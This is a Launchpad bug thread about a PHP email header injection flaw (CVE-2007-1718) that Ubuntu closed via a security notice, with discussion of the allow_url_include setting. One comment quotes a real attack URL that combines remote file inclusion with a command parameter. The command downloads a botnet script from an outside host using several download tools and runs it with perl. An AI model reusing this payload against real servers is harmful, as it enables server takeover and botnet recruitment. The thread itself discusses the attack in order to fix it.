PHP Folded Mail Headers Email Header Injection Vulnerability

Thanks for taking the time to report this bug and helping to make Ubuntu better. This problem has already been addressed with the following USN:

http://www.ubuntu.com/usn/usn-455-1

Please feel free to report future bugs.

The default installation leaves servers vulnerable.

Having spent some time on PHP security I still have not found an
acceptable compromise of functionality and security.

The latest exploit here involved urls like -

http://silverdollarmusicpark.com/index1.php?content=http://kuskitiz0r.kit.net/cmdpriv8/tool25.dat?&cmd=cd
/tmp;wget http://msnpassport.t5.com.br/bot/b0tnet.txt;fetch
http://msnpassport.t5.com.br/bot/b0tnet.txt;curl -O
http://msnpassport.t5.com.br/bot/b0tnet.txt;lynx
http://msnpassport.t5.com.br/bot/b0tnet.txt > b0tnet.txt;GET
http://msnpassport.t5.com.br/bot/b0tnet.txt > b0tnet.txt;lwp-download
http://msnpassport.t5.com.br/bot/b0tnet.txt;perl b0tnet.txt

; Whether to allow include/require to open URLs (like http:// or
ftp://) as files.
allow_url_include = Off

plugs this hole (I think)

/etc/php5/apache2/php.ini should be reasonably safe by default.

On 5/14/07, Kees Cook <email address hidden> wrote:
> Thanks for taking the time to report this bug and helping to make Ubuntu
> better. This problem has already been addressed with the following USN:
>
> http://www.ubuntu.com/usn/usn-455-1
>
> Please feel free to report future bugs.
>
> ** Visibility changed to: Public
>
> ** Changed in: php-mail (Ubuntu)
> Importance: Undecided => High
> Assignee: (unassigned) => Kees Cook
> Status: Unconfirmed => Fix Released
>
> --
> PHP Folded Mail Headers Email Header Injection Vulnerability
> https://bugs.launchpad.net/bugs/113249
> You received this bug notification because you are a direct subscriber
> of the bug.
>

The latter part of that URL would imply a PHP script's insecue use of a "system" or "passthru" call. The earlier part would imply, as you say, a url-load from "include" (or "fopen") where an application has not validated the file path. Either way, these are problems specific to the script, not php5 itself.

Since this bug report was related to CVE-2007-1718 and has been closed, please move the discussion elsewhere:
- If there is a bug specific to php5 itself, please open a new bug report.
- If you're interested in seeing the default setting for "allow_url_include" to be changed, please bring this up on the ubuntu-devel mailing list. Note, however, that the system default on current Ubuntu system is already "allow_url_include = Off"

Thanks again for the report, and please feel free to report any new bugs you may find.